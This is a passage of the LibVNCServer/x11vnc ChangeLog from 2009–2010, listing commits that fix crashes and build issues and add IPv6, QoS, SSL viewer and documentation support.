   2180 	x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc:
   2181 	touchscreen uinput support and Java viewer mousewheel support.  See
   2182 	x11vnc/ChangeLog for rest.
   2183 
   2184 2010-12-01  Tobias Doerffel <tobias.doerffel (a] gmail.com>
   2185 
   2186 	* libvncserver/sockets.c: libvncserver sockets: check cl->screen
   2187 	before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with
   2188 	insufficient checks was introduced causing a segfault when doing a
   2189 	HTTP server connection. Such connections have no screen set in the
   2190 	client data structure.  Signed-off-by: Tobias Doerffel <tobias.doerffel (a] gmail.com>
   2191 
   2192 2010-11-30  Christian Beier <dontmind (a] freeshell.org>
   2193 
   2194 	* Doxyfile: Doxygen documentation: actually add Doxyfile.
   2195 
   2196 2010-11-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2197 
   2198 	* index.html, success.html: The website is now maintained
   2199 	independently Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2200 
   2201 2010-11-18  Christian Beier <dontmind (a] freeshell.org>
   2202 
   2203 	* client_examples/SDLvncviewer.c, client_examples/backchannel.c,
   2204 	client_examples/ppmtest.c, client_examples/vnc2mpg.c,
   2205 	examples/backchannel.c, examples/camera.c, examples/example.c,
   2206 	examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c,
   2207 	examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add
   2208 	doxygen documentation support.      Adds automagically generating libvncserver/libvncclient API     documentation using doxygen. This gives a nice overview on both
   2209 	    APIs, include dependencies and function call/caller
   2210 	dependencies.      TODO: Modify all the explaining comments in the .c files for use
   2211 	          with doxygen as well.      This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2212 
   2213 2010-11-18  Christian Beier <dontmind (a] freeshell.org>
   2214 
   2215 	* libvncserver/main.c: libvncserver: fix endless loop when server
   2216 	closed client in threaded mode.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2217 
   2218 2010-11-18  Christian Beier <dontmind (a] freeshell.org>
   2219 
   2220 	* libvncserver/sockets.c: libvncserver sockets: favor per-screen
   2221 	maxclientwait over global one when set.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2222 
   2223 2010-11-11  Christian Beier <dontmind (a] freeshell.org>
   2224 
   2225 	* libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: 
   2226 	libvncserver cleanup: remove rfbKeyFrame remnants.
   2227 
   2228 2010-11-02  Christian Beier <dontmind (a] freeshell.org>
   2229 
   2230 	* libvncclient/rfbproto.c, libvncserver/main.c,
   2231 	libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h,
   2232 	rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement
   2233 	xvp VNC extension.  This implements the xvp VNC extension, which is described in the
   2234 	community version of the RFB protocol:
   2235 	http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also
   2236 	mentioned in the official RFB protocol.
   2237 
   2238 2010-10-28  Tobias Doerffel <tobias.doerffel (a] gmail.com>
   2239 
   2240 	* libvncserver/main.c: Added missing initialization of extension
   2241 	mutex When not calling rfbRegisterProtocolExtension() the extension mutex
   2242 	is uninitialized but used upon calling rfbGetExtensionIterator() and
   2243 	rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes
   2244 	libvncserver to crash on Win32 when building with thread support.  Signed-off-by: Tobias Doerffel <tobias.doerffel (a] gmail.com>
   2245 	Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2246 
   2247 2010-10-21  Christian Beier <dontmind (a] freeshell.org>
   2248 
   2249 	* libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp
   2250 	to _strnicmp when using MS compiler.  Redefining strncasecmp to _strnicmp makes libvncclient hang forever
   2251 	in SetFormatAndEncodings() on Windows when built with MinGW64.  Reported by Tobias Doerffel <tobias.doerffel (a] gmail.com>, thanks!
   2252 
   2253 2010-10-20  Tobias Doerffel <tobias.doerffel (a] gmail.com>
   2254 
   2255 	* libvncserver/rfbserver.c: In rfbSendDirContent() we have to make
   2256 	sure to call closedir() before returning. This did not happen if
   2257 	rfbSendFileTransferMessage() failed.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2258 
   2259 2010-10-20  Christian Beier <dontmind (a] freeshell.org>
   2260 
   2261 	* libvncclient/sockets.c: Fix build failure wrt IP QoS support in
   2262 	libvncclient.  This is a small addendum to
   2263 	0797e42a4aaf8131ae71899faea2d682ed81cb59.  Seems that having IPv6
   2264 	support in the OS does not necessarily mean that IPV6_TCLASS is
   2265 	available. One such case seems to be Mac OS X 10.5.
   2266 
   2267 2010-02-09  Vic Lee <llyzs (a] 163.com>
   2268 
   2269 	* libvncclient/sockets.c: Avoid 100% CPU usage when calling
   2270 	ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian
   2271 	Beier <dontmind (a] freeshell.org>
   2272 
   2273 2010-10-08  Christian Beier <dontmind (a] freeshell.org>
   2274 
   2275 	* rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is
   2276 	defined.  Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN
   2277 	with LIBVNCSERVER_, so do that manually here.  Thanks to Lorenz Kolb for reporting.
   2278 
   2279 2010-09-29  Christian Beier <dontmind (a] freeshell.org>
   2280 
   2281 	* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
   2282 	libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in
   2283 	libvncclient.  This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
   2284 	sent by a client. For example starting a client with -qosdscp 184
   2285 	marks all outgoing traffic for expedited forwarding.  Implementation for Win32 is still a TODO, though. See
   2286 
   2287 	http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess...
   2288 
   2289 2010-09-07  Christian Beier <dontmind (a] freeshell.org>
   2290 
   2291 	* TODO, libvncclient/sockets.c, libvncserver/httpd.c,
   2292 	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 
   2293 	Non-blocking sockets for Windows.  Expands the SetNonBlocking() function in libvncclient/sockets.c to
   2294 	also work under Windows and also changes it to honour maybe already
   2295 	present socket flags.  A similar function was introduced for libvncserver as well and all
   2296 	the #ifdef'ed fnctl calls replaced with calls to that one.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2297 
   2298 2010-09-06  Christian Beier <dontmind (a] freeshell.org>
   2299 
   2300 	* libvncserver/main.c, libvncserver/rfbserver.c,
   2301 	libvncserver/scale.c: Cleanup: remove CORBA stuff.  The header file and most of the functions referred to do not exist
   2302 	in libvncserver.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2303 
   2304 2010-09-10  runge <runge (a] karlrunge.com>
   2305 
   2306 	* classes/ssl/ss_vncviewer,
   2307 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2308 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
   2309 	classes/ssl jars, patches, and script
   2310 
   2311 2010-09-10  runge <runge (a] karlrunge.com>
   2312 
   2313 	* prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
   2314 	x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h,
   2315 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c,
   2316 	x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl,
   2317 	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   2318 	x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   2319 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
   2320 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   2321 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2322 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update
   2323 	to x11vnc 0.9.12
   2324 
   2325 2010-09-06  Christian Beier <dontmind (a] freeshell.org>
   2326 
   2327 	* libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32
   2328 	compilation with libjpeg.  MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h)
   2329 	typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also
   2330 	tries to typedef.  So, tell the jpeg headers.  Closes: 3007302
   2331 
   2332 2010-07-11  Christian Beier <dontmind (a] freeshell.org>
   2333 
   2334 	* configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for
   2335 	IPv6.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2336 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2337 
   2338 2010-06-29  Vic Lee <llyzs (a] 163.com>
   2339 
   2340 	* configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
   2341 	rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled
   2342 	blocks where that variable is used. Also fixed non-IPv6
   2343 	connections.] Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2344 	Schindelin <johannes.schindelin (a] gmx.de>
   2345 
   2346 2010-05-31  Wouter Van Meir <wouter.vanmeir (a] pandora.be>
   2347 
   2348 	* libvncclient/vncviewer.c: Call MallocFrameBuffer before
   2349 	SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can
   2350 	choose the color settings depending on the vnc server (or settings)
   2351 	in that hook.  This way one can use the "VNC server default format" pixelformat if
   2352 	the client supports it, or perform a workaround (Intel AMT KVM
   2353 	"classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <wouter.vanmeir (a] pandora.be>
   2354 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2355 
   2356 2010-05-19  Christian Beier <dontmind (a] freeshell.org>
   2357 
   2358 	* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: 
   2359 	Implement a DisplayFinishedHook for libvncserver.  If set, this hook gets called just before rfbSendFrameBufferUpdate()
   2360 	returns.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2361 
   2362 2010-05-08  runge <runge (a] karlrunge.com>
   2363 
   2364 	* ChangeLog, libvncclient/rfbproto.c: libvncclient:
   2365 	rfbResizeFrameBuffer should also set updateRect.
   2366 
   2367 2010-05-08  runge <runge (a] karlrunge.com>
   2368 
   2369 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   2370 	x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c,
   2371 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to
   2372 	prepare_x11vnc_dist.sh. set cd->unixname in apply_opts().
   2373 
   2374 2010-05-07  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2375 
   2376 	* AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2377 
   2378 2010-05-07  Wouter Van Meir <wouter.vanmeir (a] pandora.be>
   2379 
   2380 	* CMakeLists.txt: fix CMakeLists.txt: other way to find pthread
   2381 	library ... and fixed linking of the tests in the examples directory.  Signed-off-by: Wouter Van Meir <wouter.vanmeir (a] pandora.be>
   2382 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2383 
   2384 2010-05-05  runge <runge (a] karlrunge.com>
   2385 
   2386 	* classes/ssl/index.vnc, classes/ssl/proxy.vnc,
   2387 	classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
   2388 	classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README,
   2389 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   2390 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   2391 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   2392 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2393 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   2394 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   2395 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync.
   2396 
   2397 2010-05-01  runge <runge (a] karlrunge.com>
   2398 
   2399 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   2400 	x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl,
   2401 	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
   2402 	x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to
   2403 	          disable SSL client role in reverse connections.  Improvements to
   2404 	          logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option.
   2405 	          Increase SSL timeout and print message if 'repeater' mode is
   2406 	          detected for reverse SSL connection.  Fix RECORD scroll XCopyArea
   2407 	          detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL           to disable.  Limit logging of RECORD error messages.
   2408 
   2409 2010-04-28  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2410 
   2411 	* client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2412 
   2413 2010-04-28  Corentin Chary <corentin.chary (a] gmail.com>
   2414 
   2415 	* CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary <corentin.chary (a] gmail.com>
   2416 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2417 
   2418 2010-04-25  runge <runge (a] karlrunge.com>
   2419 
   2420 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c,
   2421 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c,
   2422 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new
   2423 	ultravnc_dsm_helper.c.
   2424 
   2425 2010-04-18  runge <runge (a] karlrunge.com>
   2426 
   2427 	* x11vnc/ChangeLog,
   2428 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   2429 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2430 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   2431 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   2432 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
   2433 	tch,
   2434 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   2435 	ll.patch: Sync ssvncviewer changes.
   2436 
   2437 2010-04-18  runge <runge (a] karlrunge.com>
   2438 
   2439 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
   2440 	x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
   2441 	x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
   2442 	x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
   2443 	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
   2444 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
   2445 	x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2446 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: 
   2447 	Improvements to demo scripts. Alias -coe for -connect_or_exit.  Fix
   2448 	HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens.
   2449 
   2450 2010-04-09  runge <runge (a] karlrunge.com>
   2451 
   2452 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   2453 	x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c,
   2454 	x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   2455 	x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
   2456 	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
   2457 	x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1,
   2458 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   2459 	x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for
   2460 	-connect_or_exit failure, quiet query mode for grab_state,
   2461 	pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular
   2462 	interface. -input_eagerly in addition to -allinput.  quiet Xinerama
   2463 	message.
   2464 
   2465 2010-04-09  runge <runge (a] karlrunge.com>
   2466 
   2467 	* classes/ssl/ss_vncviewer,
   2468 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2469 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to
   2470 	Java viewer: troubleshooting settings and workarounds, misc bug
   2471 	fixes.
   2472 
   2473 2010-04-09  runge <runge (a] karlrunge.com>
   2474 
   2475 	* x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
   2476 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   2477 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   2478 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   2479 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2480 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   2481 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   2482 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   2483 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   2484 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
   2485 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   2486 	ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26.
   2487 	Improvements to perl scripts desktop.cgi, connect_switch and
   2488 	inet6to4.
   2489 
   2490 2010-03-21  runge <runge (a] karlrunge.com>
   2491 
   2492 	* classes/ssl/README, classes/ssl/onetimekey,
   2493 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2494 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   2495 	x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
   2496 	x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README,
   2497 	x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
   2498 	x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
   2499 	x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c,
   2500 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
   2501 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
   2502 	          Many improvements to Java SSL applet, onetimekey serverCert param,
   2503 	          debugging printout, user dialogs, catch socket exceptions,
   2504 	autodetect x11vnc for GET=1.  x11vnc: misc/scripts: desktop.cgi,
   2505 	          inet6to4, panner.pl.  X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx
   2506 	          documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for
   2507 	          create script, autodetect dm on udp6 only.  Queries: pointer_x,
   2508 	          pointer_y, pointer_same, pointer_root.  Switch on -xkd if keysyms
   2509 	          per key > 4 in all cases.  daemon mode improvements for
   2510 	          connect_switch, inet6to4, ultravnc_repeater.pl.  Dynamic change of
   2511 	          -clip do not create new fb if WxH is unchanged.
   2512 
   2513 2010-03-21  runge <runge (a] karlrunge.com>
   2514 
   2515 	* configure.ac: I think two HAVE_X's were missed.
   2516 
   2517 2010-03-13  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2518 
   2519 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation
   2520 	without TLS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2521 
   2522 2010-03-13  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2523 
   2524 	* client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix
   2525 	compilation with newer automake For some reason, this developer's automake no longer understands
   2526 	_SOURCES lines anymore. Work around that.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2527 
   2528 2010-03-13  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2529 
   2530 	* client_examples/Makefile.am, configure.ac: Rename HAVE_X ->
   2531 	HAVE_X11 This change is just for consistency reasons.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2532 
   2533 2010-02-22  runge <runge (a] karlrunge.com>
   2534 
   2535 	* classes/ssl/README,
   2536 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2537 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   2538 	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
   2539 	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h,
   2540 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
   2541 	Java SSL applet viewer now works with certificate chains.  x11vnc:
   2542 	Printout option -sslScripts.  Suggest -auth guess in error message.
   2543 	Set fake_screen width and height.  Test for +kb in Xvfb.
   2544 
   2545 2010-01-22  Christian Beier <dontmind (a] freeshell.org>
   2546 
   2547 	* libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set
   2548 	serverPort in rfbInitClient().  The serverPort member is already set in rfbGetClient(), if we set it
   2549 	again in rfbInitClient(), this breaks playing of vncrec files (this
   2550 	relies on serverPort set to -1).  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2551 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2552 
   2553 2010-01-16  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2554 
   2555 	* libvncclient/vncviewer.c: LibVNCClient: make sure that the port is
   2556 	initialized correctly.  While at it, adjust coding style.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2557 
   2558 2010-01-15  Vic Lee <llyzs (a] 163.com>
   2559 
   2560 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   2561 	rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized
   2562 	correctly] Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2563 	Schindelin <johannes.schindelin (a] gmx.de>
   2564 
   2565 2010-01-07  runge <runge (a] karlrunge.com>
   2566 
   2567 	* x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1,
   2568 	x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy.
   2569 
   2570 2010-01-07  Christian Beier <dontmind (a] freeshell.org>
   2571 
   2572 	* libvncserver/font.c: libvncserver/font.c: add some checks to
   2573 	rfbDrawChar().  In some cases (bad font data) the coordinates evaluate to <0,
   2574 	causing a segfault in the following memcpy().  [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2575 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2576 
   2577 2010-01-07  Christian Beier <dontmind (a] freeshell.org>
   2578 
   2579 	* vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of
   2580 	ctrl key being stuck.  Issue was reported as Debian bug ##555988,
   2581 	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2582 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2583 
   2584 2010-01-04  Christian Beier <dontmind (a] freeshell.org>
   2585 
   2586 	* vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at
   2587 	"linuxvnc 1 -help".  This fixes Debian Bug #399501: Switch to tty1.  Run "linuxvnc 1
   2588 	-help".  You see help text, followed by "Segmentation fault".  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2589 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2590 
   2591 2010-01-02  runge <runge (a] karlrunge.com>
   2592 
   2593 	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
   2594 	x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c,
   2595 	x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c,
   2596 	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h,
   2597 	x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h,
   2598 	x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h,
   2599 	x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
   2600 	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
   2601 	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
   2602 	x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
   2603 	x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy,
   2604 	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c,
   2605 	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
   2606 	x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
   2607 	x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
   2608 	x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
   2609 	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
   2610 	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
   2611 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
   2612 	x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
   2613 	x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
   2614 	x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c,
   2615 	x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
   2616 	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   2617 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
   2618 	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
   2619 	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
   2620 	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
   2621 	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
   2622 	small tweaks to Xdummy, rx11vnc*.  Apply SMALL_FOOTPRINT to
   2623 	-appshare text.  Copyright year change.
   2624 
   2625 2010-01-02  runge <runge (a] karlrunge.com>
   2626 
   2627 	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++;
   2628 
   2629 2010-01-02  runge <runge (a] karlrunge.com>
   2630 
   2631 	* ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: 
   2632 	tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight
   2633 	security type for RFB 3.8 (debian bug 517422.)
   2634 
   2635 2010-01-01  Vic Lee <llyzs (a] 163.com>
   2636 
   2637 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   2638 	rfb/rfbclient.h: Add support for viewers to select security types on
   2639 	demand Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2640 	Schindelin <johannes.schindelin (a] gmx.de>
   2641 
   2642 2009-12-29  runge <runge (a] karlrunge.com>
   2643 
   2644 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   2645 	x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2646 	x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv.
   2647 	Hopefully done fixing Xdummy.
   2648 
   2649 2009-12-28  runge <runge (a] karlrunge.com>
   2650 
   2651 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
   2652 	x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   2653 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   2654 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2655 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   2656 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   2657 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
